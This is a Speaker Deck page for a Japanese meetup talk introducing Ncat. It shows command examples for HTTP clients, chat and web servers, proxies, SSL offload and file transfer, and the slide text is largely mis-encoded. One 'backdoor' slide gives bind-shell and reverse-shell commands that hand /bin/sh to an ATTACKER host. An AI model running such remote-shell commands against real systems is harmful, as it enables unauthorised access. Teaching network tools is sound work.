Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Ncatをつかおう / Use Ncat
Search
Hayato Imai
June 17, 2017
Programming
3.9k
1
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Ncatをつかおう / Use Ncat
長岡 IT開発者 勉強会 第52回勉強会
Hayato Imai
June 17, 2017
More Decks by Hayato Imai
See All by Hayato Imai
Kubernetes撤退、 その後のはてなの取り組み / kubernetes meetup tokyo number 52
hayajo
9
7.4k
Mackerelにおける Cloud Nativeへの取り組みと チームへ与えた変化 / CloudNative Days Tokyo 2020
hayajo
2
1.6k
MackerelにおけるKubernetes利用の取組みとこれから / Kubernetes Meetup Tokyo #22
hayajo
20
10k
Mackerelチームのコンテナ開発における戦略とこれから / 190722-cndt2019
hayajo
1
1.9k
AWSコンテナサービス入門 / nds60-jaws-ug
hayajo
0
3.1k
コンテナのメトリクスと モニタリングパターン / 190320-sakura-event
hayajo
6
1.8k
Mackerelコンテナエージェントによる コンテナ監視について / Mackerel Meetup #13 Tokyo
hayajo
1
10k
Docker for Mac/Windows ではじめる Kubernetes / NDS55 Docker with Kubernetes
hayajo
16
16k
Terrafromで構築するマルチクラウドプラットフォームインフラストラクチャ / NDS53 Terraform
hayajo
0
450
Other Decks in Programming
See All in Programming
Go × SIMDで高速化するベクトル検索 ~ルーフラインモデルでSIMDが効く境界を探れ! ~
po3rin
1
5.7k
AWS CDKのカスタムリソースでContinuum(旧Security Agent)を実装した話 | Implementing Continuum (formerly Security Agent) via AWS CDK Custom Resource
akihisaikeda
2
110
iOSDC2026登壇資料.pdf
riofujimon
0
200
手動確認はもう限界 〜XCUITestでCustom URL Schemeの遷移を起動種別ごとに自動テストする〜 / Testing Custom URL Schemes with XCUITest
otouto
0
370
テストを司るデーモンに会いに行く 〜隔離した仮想マシンでテストを通すまで〜
h1d3mun3
1
600
ハーネス設計入門 〜 基礎知識の整理から実務へのステップアップ 〜
kinopeee
19
20k
動作中のプログラムの中身をリアルタイムに覗く / Realtime Debugger for CSharp with Roslyn
prota
1
1.7k
大喜利で理解するLLM as a Judge / Understanding LLM-as-a-Judge through Ogiri
rockname
0
180
すこし踏み込む CancellationToken
htkym
2
1.5k
KiroのSpecで「五目並べ」を作ってみる
satoshi256kbyte
1
330
技術的負債の返済は、AI時代の複利で効く投資 — 経営としての意思決定とその遂行
curekoshimizu
1
2k
Herb in Rails 8.2: Your ERB views, now HTML-aware @ Rails World 2026, Austin, Texas
marcoroth
0
140
Featured
See All Featured
Building Flexible Design Systems
yeseniaperezcruz
330
41k
Joys of Absence: A Defence of Solitary Play
codingconduct
1
530
Navigating the Design Leadership Dip - Product Design Week Design Leaders+ Conference 2024
apolaine
2
450
Hiding What from Whom? A Critical Review of the History of Programming languages for Music
tomoyanonymous
3
1.3k
Mozcon NYC 2025: Stop Losing SEO Traffic
samtorres
1
570
[SF Ruby Conf 2025] Rails X
palkan
3
1.4k
So, you think you're a good person
axbom
PRO
2
2.2k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
32
3k
Agile Actions for Facilitating Distributed Teams - ADO2019
mkilby
0
290
HTML-Aware ERB: The Path to Reactive Rendering @ RubyCon 2026, Rimini, Italy
marcoroth
5
750
Self-Hosted WebAssembly Runtime for Runtime-Neutral Checkpoint/Restore in Edge–Cloud Continuum
chikuwait
0
850
The #1 spot is gone: here's how to win anyway
tamaranovitovic
4
1.2k
Transcript
/DBUΛ͔͓ͭ͏ Ԭ*5։ൃऀษڧձୈճษڧձ /FUDBU
ࣗݾհ w )BZBUP*NBJࠓҪ൏ਓ w !IBZBKP w Πϯϑϥ୲
/FUDBU
/FUDBUͱ w ODίϚϯυ w ωοτϫʔΫͷεΠεΞʔϛʔφΠϑ w ଟతωοτϫʔΫϢʔςΟϦςΟ w 5$16%1ϓϩτίϧΛѻ͏ w
DBUͷωοτϫʔΫ൛
͍Ζ͍Ζͳ/FUDBU OD ΦϦδφϧ w W w 6CVOUV (/6൛ w
ΦϦδφϧޓ w "SDI FYUSB 0QFO#4%൛ w *1Wɺ6%4ରԠ w ίϚϯυ࣮ߦඇରԠ w $FOU04 w 049 /NBQ൛ ʢ/DBUʣ w 44-ରԠɺଟػೳ w $FOU04 OD!ODBU CVTZCPY൛ w ΄΅(/6൛ͱಉ͡ w #VTZ#PY w "MQJOF ࠓճ/NBQ൛/FUDBUͰ͋Δ/DBU ODBU Λհ͠·͢ɻ IUUQTONBQPSHODBU
/DBU ODBU ͷ͔͍͔ͭͨ
ΫϥΠΞϯτ $ ncat -C example.com 80 )551ΫϥΠΞϯτ $ ncat -C
HOST 11211 .FNDBDIFΫϥΠΞϯτ "4$** $ perl -e 'print "\x80\x00\x00\x05" . "\x00"x4 . "\x00\x00\x00\x05" . "\x00"x12 . "\x68\x65\x6c\x6c\x6f"' |\ > ncat HOST 11211 |\ > hexdump -C .FNDBDIFΫϥΠΞϯτ #*/"3:
αʔό SERVER$ ncat -l --broker HOST1$ ncat SERVER HOST2$
ncat SERVER $IBUαʔό CSPLFS SERVER$ ncat -l --chat HOST1$ ncat SERVER HOST2$ ncat SERVER $IBUαʔό DIBU $IBUαʔό SERVER$ ncat -l # σϑΥϧτϙʔτ31337 HOST1$ ncat SERVER
αʔό SERVER$ ncat -l 8080 -k \ > --sh-exec
\ > "echo -e 'HTTP/1.1 200 OK\r\n\r\n';cat index.html" CLIENT$ curl http://SERVER:8080 8FCαʔό SERVER$ ncat --ssl -l 8443 -k \ > --sh-exec \ > "echo -e 'HTTP/1.1 200 OK\r\n\r\n';cat index.html" CLIENT$ curl -k https://SERVER:8443 8FCαʔό 44-
ϓϩΩγ PROXY$ ncat -l 8080 \ > --proxy-type http
--proxy-auth user:pass CLIENT$ curl -v https://example.com \ > --proxy PROXY:8080 --proxy-user user:pass )551ϓϩΩγ PROXY$ ncat -l 1883 -k \ > --sh-exec 'ncat --ssl -i 3 test.mosquitto.org 8883' CLIENT$ MQTT_HOST=PROXY MQTT_PORT=1883 mqttcli sub -t "#" ϓϩτίϧม )551)5514 PROXY$ ncat --ssl -l 8443 -k \ > --sh-exec 'ncat -i 3 -C localhost 3000' CLIENT$ curl -k https://PROXY:8443 44-Φϑϩʔυ
ϓϩΩγ PROXY$ mkfifo f PROXY$ ncat -l 8080 -k
<f | \ > while true; do \ > openssl s_client -connect example.com:443 -quiet >f 2>/dev/null; \ > done ίωΫγϣϯϓʔϦϯά $ httpstat https://example.com/ ... DNS Lookup TCP Connection TLS Handshake Server Processing Content Transfer [ 6ms | 96ms | 371ms | 96ms | 1ms ] | | | | | namelookup:6ms | | | | connect:102ms | | | pretransfer:473ms | | starttransfer:569ms | total:570ms $ httpstat http://PROXY:8080 -H 'Host: example.com' ... DNS Lookup TCP Connection Server Processing Content Transfer [ 5ms | 0ms | 98ms | 0ms ] | | | | namelookup:5ms | | | connect:5ms | | starttransfer:103ms | total:103ms
ϑΝΠϧసૹ SERVER$ ncat -l 8080 --recv-only >out.file CLIENT$ ncat --send-only
SERVER 8080 <in.file ΫϥΠΞϯταʔόసૹ SERVER$ ncat -l 8080 --send-only <in.file CLIENT$ ncat --recv-only SERVER 8080 >out.file αʔόΫϥΠΞϯτసૹ SERVER$ ncat --ssl -l 8080 --recv-only >out.file CLIENT$ ncat --ssl --send-only SERVER 8080 <in.file 44-సૹ ΫϥΠΞϯταʔόసૹ
TARGET$ ncat -l --exec /bin/sh 8080 ATTACKER$ ncat TARGET 8080
λʔήοτʹΞΫηεՄೳͳ߹ ATTACKER$ ncat -l 8080 TARGET$ ncat --exec /bin/sh ATTACKER 8080 λʔήοτ͕/"5എޙͷ߹ όοΫυΞ
ΞΫηε੍ޚ $ ncat -l 8080 --allow 10.0.0.2 ڐՄ $ ncat
-l 8080 --deny 10.0.0.0/8 ڋ൱ ྆ํࢦఆͨ͠߹EFOZ͕༏ઌ͞Ε·͢ɻ
·ͱΊ
·ͱΊ w /FUDBUίϚϯυ͍͔ͭ͘ͷ࣮͕͋Δ w /DBUଟػೳɺ։ൃΜͳͷͰ͓͢͢Ί w ΞΠσΞ࣍ୈͰ༷ʑͳ͍ํ͕͋Δ